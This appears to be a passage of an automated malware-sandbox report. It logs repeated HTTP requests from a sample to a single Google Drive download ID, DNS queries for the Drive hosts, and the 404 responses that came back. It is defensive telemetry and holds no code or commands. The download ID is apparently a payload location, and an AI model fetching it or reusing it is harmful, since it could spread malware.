Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:01 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'nonce-oNPDdKAk37_6oigAA74vJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC5jf1TaTr9YTTJPToHFfbzYasyfvoHbXluHJrAH5cmUs9ZhDBjVIqFmUuxRHE7rBYv6fwMServer: UploadServerSet-Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF; expires=Fri, 06-Jun-2025 16:03:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:13 GMTContent-Security-Policy: script-src 'nonce-Mmoj_ohssKHKHy5i_yN9cg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC7-mo0eyhSx3jVfBzA13XnWUgKAUmJuKurAgPVwfzX6ldUm5jmWvaoqHpiL_Z1eCVCcWy8Q5jjyJwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:24 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-jfBBg7CqfuES3iRANo0zmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC7esx6BrnvM0LaBVwwcbk3EBnvewExtBtZLxpLHAm4ls9aC1kSK0v3ZZft3WNz-XLUjlbMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:35 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-qsoCTM7zQRXihrro6J53yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC6aCsKJrMqKR-SWJ3Ne4FfW9hoxL195L1n3RcGCE9NcXw2I-vwrlnVBKjt96Xm_Tg9cT9WlmQgINgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:46 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-7TnWtPbsWZ7wmD8vRnGV0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC5optG5Un4AE1YB_ns3GjnZPPjMsYeraNIJue9hWMqGActRp3nNp3l8WXwX9QovpBY7WEYDDnRwswServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:03:58 GMTContent-Security-Policy: script-src 'nonce-icaGCId8_gFuSdVpjuZkXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC406yfPXNi0hDG2XfAmUFRhutX9VZPbMO3v_cKFkQUtD3MR5NZuswmQBbI95Yt3njF0DN8rBMljTgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:04:09 GMTContent-Security-Policy: script-src 'nonce-Bc_2vepgCjqMuBTIqRBnpw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC4eVvjuM7JnlEacZhEo5fECOFN3i6ig_GkQRtxdJhXATneCuct0yPQ3qOY9tIV5Q2ehUt9ELSoS9wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:04:20 GMTContent-Security-Policy: script-src 'nonce-dzfoslekdVLnTmyg9QmvDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC4o1auPodTVc1U8tdZnCmRNEnV4MrVkQZ-F6ewcygyrvkIfkGIwvDZQiE7yr88u0yt91Hh1_GAAGAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:04:31 GMTContent-Security-Policy: script-src 'nonce-PalheP376nsrsJ1wdhzABQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5wr8Hr-ERYLSKXTQ39aHOvNGQ0UBQg06ByK_MSl9LnSPk7ejRANmOmy9cNXK0zp6kBJ0pgLdl_EAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:04:42 GMTContent-Security-Policy: script-src 'nonce-dBEiWtpriMk1vP6-CSsLsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC5djuB6u451xkPbseAL2Fw74gu2-sYdnhC3ouDL0RL73a4EhlUSBQc4f1IESZpCPmNqgEciUnQ0ngServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
